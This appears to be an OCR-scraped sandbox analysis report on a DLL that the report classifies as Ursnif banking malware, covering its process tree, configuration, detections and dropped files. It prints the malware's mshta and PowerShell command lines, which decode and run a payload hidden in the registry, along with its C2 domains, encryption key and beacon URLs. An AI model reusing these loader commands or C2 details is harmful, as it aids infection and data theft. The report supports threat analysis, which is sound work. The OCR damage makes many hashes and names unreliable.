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Windows Analysis Report [j3H69Z3lo.dll
Overview

General Information Detection

Sample 1j3H69Z3l0.dlI
Name: MALICIOUS

Analysis ID: 447090

Classification

%)
«Q
=3
4
c
=
(1
7]

Found malware configuration

Multi AV Scanner detection for doma...

MD5: . .
0bb29556ecelcs.. Multi AV Scanner detection for subm...
SHA1:
324¢c356a56¢68 . Sigma detected: Encoded IEX
SHA256: af1b052362469a6. "
Yara detected Ursnif
Sigma detected: MSHTA Spawning ...
nfos: Qi Q b
N Sigma detected: Mshta Spawning W...
v ¥

Suspicious powershell cammand line...

Most interesting Screenshot:

Writes registry values via WMI

96

Score: Checksiifitheicurrent processiis bein...
Range: 0-100 Contains functionality/to'access load...
Whitelisted: false

X Caontains functionality te call native fi..
Confidence: 100%

Contains functionality te checkifiaidi..

Contains functionality to)dynamically:..

Process Tree

= System is wl0x64

o [ loaddli32.exe (PID: 3296 cmdline: loaddll32.exe 'C:\Users\user\Desktop\lj3H69Z3l0.dIl' MD5: 542795ADF7CCO8EFCF675D65310596E8)
. cmd.exe (PID: 2696 cmdline: cmd.exe /C rundll32.exe ‘C:\Users\user\Desktop\lj3H69Z3lo.dII' #1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
. D rundll32.exe (PID: 1304 cmdline: rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3lo.dII' #1 MD5: D7CA562B0DB4F4DD0OF03A89A1FDAD63D)
. D rundll32.exe (PID: 3416 cmdline: rundll32.exe C:\Users\user\Desktop\lj3H69Z3lo.dIl,Busysection MD5: D7CA562B0DB4F4DDOF03A89A1FDAD63D)
. @ WerFault.exe (PID: 5160 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 648 MD5: 9E2BBACAD48ECCA55C0230D63623661B)
. @ WerFault.exe (PID: 64 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 656 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
. D rundll32.exe (PID: 1808 cmdline: rundll32.exe C:\Users\user\Desktop\lj3H69Z3lo.dIl,Dealthis MD5: D7CA562B0DB4F4DD0OF03A89A1FDAD63D)
. D rundll32.exe (PID: 5964 cmdline: rundll32.exe C:\Users\user\Desktop\lj[3H69Z3l0.dIl,Sing MD5: D7CA562B0DB4F4DDOF03A89A1FDAD63D)
. D rundll32.exe (PID: 5796 cmdline: rundll32.exe C:\Users\user\Desktop\lj3H69Z3lo.dIl, Teethshould MD5: D7CA562B0DB4F4DD0OF03A89A1FDAD63D)
. @ iexplore.exe (PID: 996 cmdline: 'C:\Program Files\Internet Exploreniexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01DSAC5E7596)
. @ iexplore.exe (PID: 6116 cmdline: ‘C:\Program Files (x86)\Internet Explore\lEXPLORE.EXE' SCODEF:996 CREDAT:17410 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 2592 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:996 CREDAT:82950 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 1264 cmdline: 'C:\Program Files (x86)\Internet Explore\lEXPLORE.EXE' SCODEF:996 CREDAT:17430 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. mshta.exe (PID: 6132 cmdline: ‘C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>Ff7t="wscript.shell’;resize To(0,2);eval(new ActiveXObject(Ff7t).regread('HKC

U\\Software\\AppDatalow\\Software\\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550\\\DeviceFile'));if('window.flag)close()</script>' MD5:
197FC97C6A843BEBB445C1D9C58DCBDB)

o E¥ powershell.exe (PID: 5004 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft
ware\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550").UtiITool)) MD5: 95000560239032BC68B4C2FDFCDEF913)
. conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
= cleanup

Malware Configuration

Threatname: Ursnif
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{
"lang_id": "RU, CN",
"RSA Public Key":

"RS1bISYM3RTUEB+kp8sXk6GKaUS ITMAHL ISpyFRYeZm6N 1 cBwt jx2F3paluhibIHChprL 2CGUSXud1FZM2nR juIHp5Tc 3Qvf1bHq8axt 1kKBISZnmfPh2SiQVPHGVA+TOUAe97sVPOCE6XXX21 LAXOICAR 349U 3X0 LV8KPrfICHChD
u9w1+s7rrVZTOVIBW+TY1D3deVILDZHvh1BuumQis3pP1XsoL a30ay006/AhbNIRIOAAT j7c 7SagXOd4BXABL 9GZCISr XohvITy 2k Tk5pHs 5LCi TFpTIPohv1IBotMKOGX 7HyBP+G1ChxdyBjRbbIosmagFNaHgwaQhKyFdWLAfAWICGE

YrSkeFoNBM=",

"c2_domain": [
"gtr.antoinfer.com”,
"app.bighomegl.at"

1,

"botnet": "2500",

"server": "580",

"serpent_key": "B43ovnLWYCtQUCWU",

"sleep_time": "10",

"CONF_TIMEOUT": "20",

"SetWaitableTimer_value": "10"

Yara Overview

Memory Dumps

Source

00000003.00000003.556259843.0000000004DDC000.00000
004.00000040.sdmp

00000003.00000003.537141120.0000000004FD8000.00000
004.00000040.sdmp

00000003.00000003.537104299.0000000004FD8000.00000
004.00000040.sdmp

00000003.00000003.536940847.0000000004FD8000.00000
004.00000040.sdmp

00000003.00000003.548180639.0000000004F59000.00000
004.00000040.sdmp

Unpacked PEs

Source
3.3.rundll32.exe.4f594a0.2.raw.unpack

Sigma Overview

System Summary:

Sigma detected: Encoded IEX

Rule

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

Rule

JoeSecurity_Ursnif

Description

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Description

Yara detected
Ursnif

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 5 entries

Author

Joe Security

Strings

Strings

Sigma detected: Non Interactive PowerShell

Jbx Signature Overview

@ Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file
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Key, Mouse, Clipboard, Microphone and Screen Capturing:

‘Z{

Yara detected Ursnif

E-Banking Fraud:

L

Yara detected Ursnif

System Summary:

L

Data Obfuscation:

L

=

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Stealing of Sensitive Information:

=

Yara detected Ursnif

3‘

Remote Access Functionality:

Yara detected Ursnif

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Netwc
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration and Control Effect
Valid Windows Path Process Masquerading os System Time Remote Email Exfiltration Encrypted Eaves
Accounts  Management Interception  Injection Credential  Discovery Services Collection [} Over Other Channel Insect
Instrumentation Dumping Network Netwo
Medium Comrmr
Default Command and Boot or Boot or Logon Virtualization/Sandbox LSASS Query Registry Remote Archive Exfiltration  Ingress Tool Exploi
Accounts Scripting Logon Initialization ~ Evasion Memory Desktop Collected Over Transfer Redire
Interpreter Initialization  Scripts Protocol Data Bluetooth Calls/s
Scripts
Domain Native API Logon Script Logon Script  Process Security Security Software SMB/Windows Data from Automated Non- Exploi
Accounts (Windows)  (Windows) Injection Account Discovery Admin Shares Network Exfiltration  Application Track
Manager Shared Layer Locati
Drive Protocol
Local PowerShell Logon Script Logon Script  Deobfuscate/Decode NTDS Process Discovery Distributed Input Scheduled Application SIMC
Accounts (Mac) (Mac) Files or Information Component Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Obfuscated Files or LSA Virtualization/Sandbox SSH Keylogging  Data Fallback Manip
Accounts Logon Script Logon Script  Information Secrets Evasion Transfer Channels Device
Size Limits Commr
Replication  Launchd Rc.common Rc.common Rundll32 Cached Application Window  VNC GUI Input Exfiltration  Multiband Jamm
Through Domain Discovery Capture Over C2 Communication Denial
Removable Credentials Channel Servic
Media
External Scheduled Task  Startup Startup Items  Compile After DCSync Remote System Windows Web Portal  Exfiltration = Commonly Rogue
Remote ltems Delivery Discovery Remote Capture Over Used Port Acces
Services Management Alternative
Protocol
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Initial

Access Execution

Drive-by Command and

Compromise Scripting
Interpreter

Exploit PowerShell

Public-

Facing

Application

Behavior Graph

e

iexplore.exe ,'g

United States E=

Privilege

Persistence Escalation

Scheduled  Scheduled
Task/Job Task/Job
At (Linux) At (Linux)

e

iexplore.exe

Defense Evasion

Indicator Removal
from Tools

Masquerading

&

GH:H

started

iexplore.exe

)

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

started

started

I}

Credential

Access Discovery

Proc

File and Directory

Filesystem Discovery

letc/passwd System Information

Discoverya

and
letc/shadow

Behavior Graph
1D: 447090

Sample: 1j3H69Z3l0.dll
12/07/2021
WINDOWS
96

- e

Startdate:
Architecture:
Score:

iexplore.exe e rundii32.exe s
started started
Wries regsty vehues
79 WerFaultexe ] WerFautexe g8

ICEN

c]

Lateral
Movement

Shared
Webroot

Software
Deployment
Tools

SUSPICIOUS

CLEAN

ORRNOWH

started k

started

loaddii32.exe
(C]

B

/

D@ 2 i~

started started

rundii32.exe

I}

started

rundii32.exe s

ic]

Collection

Credential
API Hooking

Data Staged

Command
Exfiltration and Control

Exfiltration  Application
Over Layer Protocol
Symmetric

Encrypted

Non-C2

Protocol

Exfiltration Web Protocols
Over

Asymmetric

Encrypted

Non-C2

Protocol

-
(1]

«Q
@
=3
o

] |miw

§ aEE .
PES WP &

i
i
=

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

started

4

conhost.exe -
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H 0 Type here to search

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
1j3H69Z3l0.dll 42% Virustotal Browse
1j3H69Z3l0.dll 6% Metadefender Browse
1j3H69Z3l0.dll 31% ReversingLabs Win32.Trojan.Ursnif

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download
3.2.rundlI32.exe.27c0000.1.unpack 100% Avira HEUR/AGEN.1108168 Download File
Domains
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https://www.virustotal.com/gui/file/af1b052362469a67fcd871558b24efa2be44a4b29f88112e5c2d2295a1dc4252/detection/f-af1b052362469a67fcd871558b24efa2be44a4b29f88112e5c2d2295a1dc4252-1626081902
https://www.metadefender.com/#!/results/file/bzIxMDcxMHVtZTM1Y1RmLURiUHVKUkx4SVlN/regular/analysis

Source Detection Scanner Label Link

URLs

Source Detection Scanner Label Link
http://gtr.antoinfer.com/favicon.ico 0% Avira URL Cloud  safe
http:// 0% Avira URL Cloud safe
gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFeOhTIDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2

http://pesterbdd.com/images/Pester.png 0% URL Reputation safe
http:/fpesterbdd.com/images/Pester.png 0% URL Reputation safe
http://pesterbdd.com/images/Pester.png 0% URL Reputation safe
http:i/https://contoso.com/ 0% URL Reputation safe
http:i/https://contoso.com/ 0% URL Reputation safe
http:i/https://contoso.com/ 0% URL Reputation safe
hitp://https://contoso.com/License 0% URL Reputation safe
hitp://https://contoso.com/License 0% URL Reputation safe
hitp://https://contoso.com/License 0% URL Reputation safe
http:ifhttps://contoso.com/Icon 0% URL Reputation safe
http:ifhttps://contoso.com/Icon 0% URL Reputation safe
http:i/https://contoso.com/Icon 0% URL Reputation safe
http:// 0% Avira URL Cloud safe

gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFeOhTIDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2
FaVCd/bple8aV2PI_2/FY50P4000f6/GeARX2_2FIA_2F/2BhurwBe_2BrsQ1B1bUK7/wilinEmmYldazZ6élz/
71Mw33QzoCtr9s9/ULFilVIFcIxUDJIsEo/crrSiFkaK/6sQSCYti3BETwug18IBlk/b94MQVqQ698rgMibrOo/R
MBVkg8AFrK4uT2Dqg6p006/0dceZPFn8QQWz/SARUSTId/dirYBJB3Uuu4livFAYs9FmV/Pmcsy6YvBv/L

cgigqflbUTKnYCeNL/dikDMv66Bty/6H

http:// 0% Avira URL Cloud safe
gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFeOhTIDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYyth_2

FavCd

http:// 0% Avira URL Cloud safe
gtr.antoinfer.com/PI9Eoril0/TWROVDxUXG0e5P8cvyge/ZU2BrrTTIUbIVqqjDG4/pcVLHK|Q_2FTIEKMel

9p0c/u

http:// 0% Avira URL Cloud safe
gtr.antoinfer.com/4khtvsQOu/_2BibxIs4V27IXxwFbLo/MVAeZiN_2BcOXrnrvV8V/qJdINxZ6Bgv5NEeycuU

5RT/x

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

_—-___
Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

Domain Country Flag ASN Name Malicious
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https://www.virustotal.com/gui/url/eaebfcd3409a5c26ad9a10c9a018af028cb07d1144750dbc614c0d00712c0283/detection/u-eaebfcd3409a5c26ad9a10c9a018af028cb07d1144750dbc614c0d00712c0283-1626017879
https://www.virustotal.com/gui/url/eaebfcd3409a5c26ad9a10c9a018af028cb07d1144750dbc614c0d00712c0283/detection/u-eaebfcd3409a5c26ad9a10c9a018af028cb07d1144750dbc614c0d00712c0283-1626017879

General Information

Joe Sandbox Version: 32.0.0 Black Diamond
Analysis ID: 447090
Start date: 12.07.2021
Start time: 11:47:07
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 11m 50s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: lj3H69Z3l0.dll
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name: Run with higher sleep bypass
Number of analysed new started processes 44
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal96.troj.evad.winDLL@26/21@3/1
EGA Information: Failed
HDC Information: e Successful, ratio: 59.1% (good quality ratio 54.1%)

e Quality average: 75.1%
e Quality standard deviation: 30.7%
HCA Information: e Successful, ratio: 87%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Sleeps bigger than 120000ms are automatically reduced to 1000ms
e Found application associated with file extension: .dll

Warnings: Show All

Simulations

Behavior and APIs

Time Type Description

11:50:05 API Interceptor 1x Sleep call for process: rundll32.exe modified

Joe Sandbox View | Context

IPs

No context

Domains

Match Associated Sample Name / URL SHA 256 Detection Link Context
gtr.antoinfer.com _ Get hash malicious Browse e 165.232.183.49

Copyright Joe Security LLC 2021 Page 10 of 28


https://view.joesandbox.com/analysis/350213/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350213/html/none?idtype=webid
https://view.joesandbox.com/analysis/349909/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349909/html/none?idtype=webid

Match

ASN

Match
DIGITALOCEAN-ASNUS

JA3 Fingerprints
No context
Dropped Files

No context

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Created / dropped Files

Detection
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

Link
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Context

165.232.183.49
165.232.183.49
165.232.183.49

Context

164.90.131.131
164.90.131.131
68.183.24.16
68.183.24.16
68.183.24.16
139.59.150.28

157.230.21
4.223

107.170.21
1.239

107.170.21
1.239

107.170.21
1.239

107.170.21
1.239

157.230.21
4.223

134.122.57.157
134.122.57.157

157.230.21
4.223

134.122.57.157
134.122.53.92

178.128.39.189
104.236.246.93
164.90.131.131

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_rundli32.exe_8e10347d3010a05cec57e2a7338104047e76f62_82810al17_01564e18

\Report.wer

Process: C:\Windows\SysWOW64\WerfFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 11846

Entropy (8bit):  3.772071022404799

Encrypted: false

SSDEEP: 192:kVdiVpOoXmZyHVFeMjed+e/u7sPS274ItWcr:8diVHXGKVFeMjez/u7sPX4ltWcr
MD5: BOCFB884141A504FD69F7276683ADESO

SHAL: C2E51279B503A78990E5D4B7F3A7581F70E622C2

SHA-256: 9943D8BC3E90B60367F7E603FBDOBDDFEEO850AEDFC5F7703CFC6572D727067A
SHA-512: 33D3B2CA92000E33BEF1EFDA855542E7E8E7D54A359ECE97597B61812C985227FD1395715B04EDE6GEBDF801D95D3F7FF0411307273C6C74A539E7A7A2FC3EES
Malicious: false

Copyright Joe Security LLC 2021
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https://view.joesandbox.com/analysis/348787/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348787/html/none?idtype=webid
https://view.joesandbox.com/analysis/348786/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348786/html/none?idtype=webid
https://view.joesandbox.com/analysis/348784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348784/html/none?idtype=webid
https://view.joesandbox.com/analysis/350682/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350682/html/none?idtype=webid
https://view.joesandbox.com/analysis/350679/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350679/html/none?idtype=webid
https://view.joesandbox.com/analysis/350431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350431/html/none?idtype=webid
https://view.joesandbox.com/analysis/350419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350419/html/none?idtype=webid
https://view.joesandbox.com/analysis/350406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350406/html/none?idtype=webid
https://view.joesandbox.com/analysis/350237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350237/html/none?idtype=webid
https://view.joesandbox.com/analysis/350228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350228/html/none?idtype=webid
https://view.joesandbox.com/analysis/350062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350062/html/none?idtype=webid
https://view.joesandbox.com/analysis/350061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350061/html/none?idtype=webid
https://view.joesandbox.com/analysis/350056/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350056/html/none?idtype=webid
https://view.joesandbox.com/analysis/350054/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350054/html/none?idtype=webid
https://view.joesandbox.com/analysis/349989/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349989/html/none?idtype=webid
https://view.joesandbox.com/analysis/349849/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349849/html/none?idtype=webid
https://view.joesandbox.com/analysis/349814/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349814/html/none?idtype=webid
https://view.joesandbox.com/analysis/349805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349805/html/none?idtype=webid
https://view.joesandbox.com/analysis/349740/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349740/html/none?idtype=webid
https://view.joesandbox.com/analysis/349553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349553/html/none?idtype=webid
https://view.joesandbox.com/analysis/349545/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349545/html/none?idtype=webid
https://view.joesandbox.com/analysis/349449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349449/html/none?idtype=webid
https://view.joesandbox.com/analysis/349094/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/349094/html/none?idtype=webid

C:\ProgramData\Microsoft\Windows\WER\ReportArchivel\AppCrash_rundll32.exe_8e10347d3010a05cec57e2a7338104047e76f62_82810al17 0156418

\Report.wer

Preview:

.V.ersion=1..EventTyp.e=APP.CRASH...EventTim.e=13.27.05.893.7.3.8539.7.3.1...Rep.ortTyp.e=2..Cons.ent=1..UploadT..
m.e.=.1.3.2.7.0.5.8.9.3.8.1.1.6.6.4.3.9.8.....R.e.p.ort.Statu.s.=2.6.8.4.35456...Rep.ortldentifier=d04.3.8.7.3.3.-3.04a09.-4.83.a-94.9.2.-3.e.c.7.0.0.5.
6.0.2.b.4....I.nt.egrator.Reportldentifier=e.caae.e2l.-faeb.-4b.6f-8d35.-74.ceb.6.081.7.c.7..Wow.6.4H.0.5s.t=344.04..W.0w.6.4G.
u.e.s.t.=3.3.2...N.s.Ap.p.N.am.e.=ru.n.dll3.2..ex.e...Orig.in.alF.ilenam.e=RUN.D.LL.3.2.EXE...Ap.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.0.d.5.8.-.0.0.0.1.-.0.
0.1.7.-6.d.c.4.-.7.0.6.e.4..7.7.d.7.0.1....T.a.r.g.e.t Ap.p.l.d.=W...0.0.0.0.f£.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.1.0.0.0.0.h.c.c.5.
d.c.3.2.2.2.0.3.4.d.3.f£.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A24.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 14 streams, Mon Jul 12 18:49:35 2021, 0x1205a4 type
dropped

283102

1.6760534343514886

false
768:pyGNk13fXySEkenTilfzHsVjle7wTIpPPJgfZ3vW:7C13KtkenTgzMme7CZP6VW
DEDE528C566CFE122E79FCB95E98B453
CC2869181B343E931266CF8E1A81B2C5C6F82FA9
D7BOFF04519A473203844F6F42A68242B979F6062ECB8C0564D446B86DFCEO6F
E47874F130A9D3F7849027ED38EEFFAES57A31193F71EF4A857D2CFBOA1BDC56BFBFE855B2388637ADB963D720392659CE540820C03175DDEF2A19F914769B44:

false

T S B...
ceveenPaaccific. .Day.liig.ht. Timee...

..GenuinelntelW........... 3 X v o001 Paacciifiic. Sitandard. .T.iim.e..
v 1.7.1.3.4...1..x.8.6.fre..r.s.4._releas.e..1.8.0410.-18.04 ....ccooiirinnens

.3.8.6.,.1.0...0...1.7.1.3.4...1.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3457.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8288

3.693781478029124

false
192:Rrl7r3GLNidI6G906Y0Dc6+albspgmfTk8GSaCpD189bWusfBym:RrIsNif6G9O6Yuc6+aFspgmfTkrSowt9
00D6959DEF639E23BBDEA22D9FB541D5

BD6D2939AEB2166874342B5EFC7BESBS5F8E4ACESE
2C8C1B5CC9E033B9B221EE3C09C00F2A1DDFD954E508EC6D88BC307E81770A5C
81C79E1C74169C03FB973C10595A7017387D8CO6EA7B4D5396C69BOC5AE924CE85453026E2AD7AE75445174A22336F889BBFB83BC3B2DBBAA08517C0147B118!

false

.<.?2x.ml version="1.0" en.c.o.ding="UTF.-16."?>..<WERR.eportMetadata>...<0.SV.ersionlnformation>....<W.in.d.
o.w.s.N.T.V.ers.i.o.n>10..0.</W.indowsNTV.ers.ion>....<Build>17134.</Bu.ild>.....<Pro.du.ct>(0x3.0.).:.. .W.ind.ow.s. .10. .P.ro.
</P.roduct>....<Editio.n>Professional</Edition>....<BuildString>17134.1.amd64fre.rs4. _releas.e.18.0.4.1.0.-.18.0.4.
<./.B.u.ild.S.trin.g> .<Rewvision>1l</Revision>....<Flav.or>Multipro.cess.or Free</Flavor>....<Architecture>X6.4</.
Arc.hitecture>.....<LClD>1033</LC.ID>...</0.SV.ersio.nlnformadtion>...<Proc.ess.lnformation>....<P.id>3416.</P..
d>....

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3840.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4630

4.454252543056655

false

48:¢cviwSD8zslJgtWI9rL WSC8BVfa8fm8M4JCdsGtF+0+q8/5]LZ4SrSO6d:ul TFOQ6SN/vJg202LZDWHd
D7E128A868D39411E887B16BCD73D528

05B20E4EDB6230463037A8FE3518323D25E6257D
148FD0351A83C623452D14669E2FF0780728CE9D1A98CESFBIBF2C44153DC2B1

BB0954F39DCOC7D05588D8C431AA4C7D01F254065141811370E27B80EODSEDSE27E7D839DB4A055F142D80FA20DBE4286081CAD254AC574DD6BBB246D7CD2/4
0

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="Icid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1074480" />.. <arg nm="osinsty" val="1"/>.. <arg nm="iever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\RecoveryStore.{08A52030-E342-11EB-90E4-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

Microsoft Word Document

dropped

71272

2.0430813730204638

false

192:rsZr7ZR2I1WptCfyFMDP5tBs8tZWsSeF+sctkLrGhTX:rsrtg/7g/DrKIZRdoSG1
9D36509D1371B943B7E70B443AE651EE
FOC8FE09A4B216553CDB321153668070F5534B0A
5FAFD9306875D0B2D47188D0257EEDD47DF6B07898E13F551DFECA8794F9C7CA
0579BD7ADFIBF18EE6548AEEB85520033A2BC78B121126BFC836435B267901D624B1A21D6314FC3995C16CD02A0B51991B4930D84EFF19D9BFE26553FDFB1D1

false

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{08A52032-E342-11EB-90E4-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

Microsoft Word Document

dropped

28156

1.9209592167180383

false

96:10ZV7QV6jBSkjx2xWOMYdB6TOUHIU6 TOUKA:rOZV7QV6EjKkkjx2xWOMYdg6HIZ6KA
08A2EC1E53466B99883D85514688AACB
38D21A1AEC20F820E3B5F472EFE9C1BCB52BD58C
EE9732C32722F112CA06F4426E8EB53C7BF4AC64E4B41FA0853BF64B44F47650
3A519FB682C5FD61EC3346C523399F8237F4040C08E6540665ED8E803D2FA0B42C83AELF063A39E15D8FB340392C57444EBDA1ES58136E654A5C41CA96B50D0L

false

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{08A52034-E342-11EB-90E4-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

Microsoft Word Document

dropped

28132

1.9167304906726585

false
192:rMZTQT6VkQjJ2NWzM7CmgFURsIbVAygXFURsIb6A:rMc2ekYkwZg2sRPgX2sR9
14CB643A07EEDE5DD5BODSEDCB19664D
EB5E2D2E77FA9064978C186BD7295E68A0AFB974
CFFC724CCA28F29B67BE2BOFEO3E18569820982F11A414EDDBEE3E73AADB2E4D

42369ADAB0CFAGEA3A26C24B02465C7C960A48DE3C51FA283566AE99477F567968AA556A294318F9A4D6E2DFFIF31A39FCDD401351EBBE7BDIECACTED11EAZ
C

false

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{08A52036-E342-11EB-90E4-ECF4BB862DED}.dat

Process:

File Type:
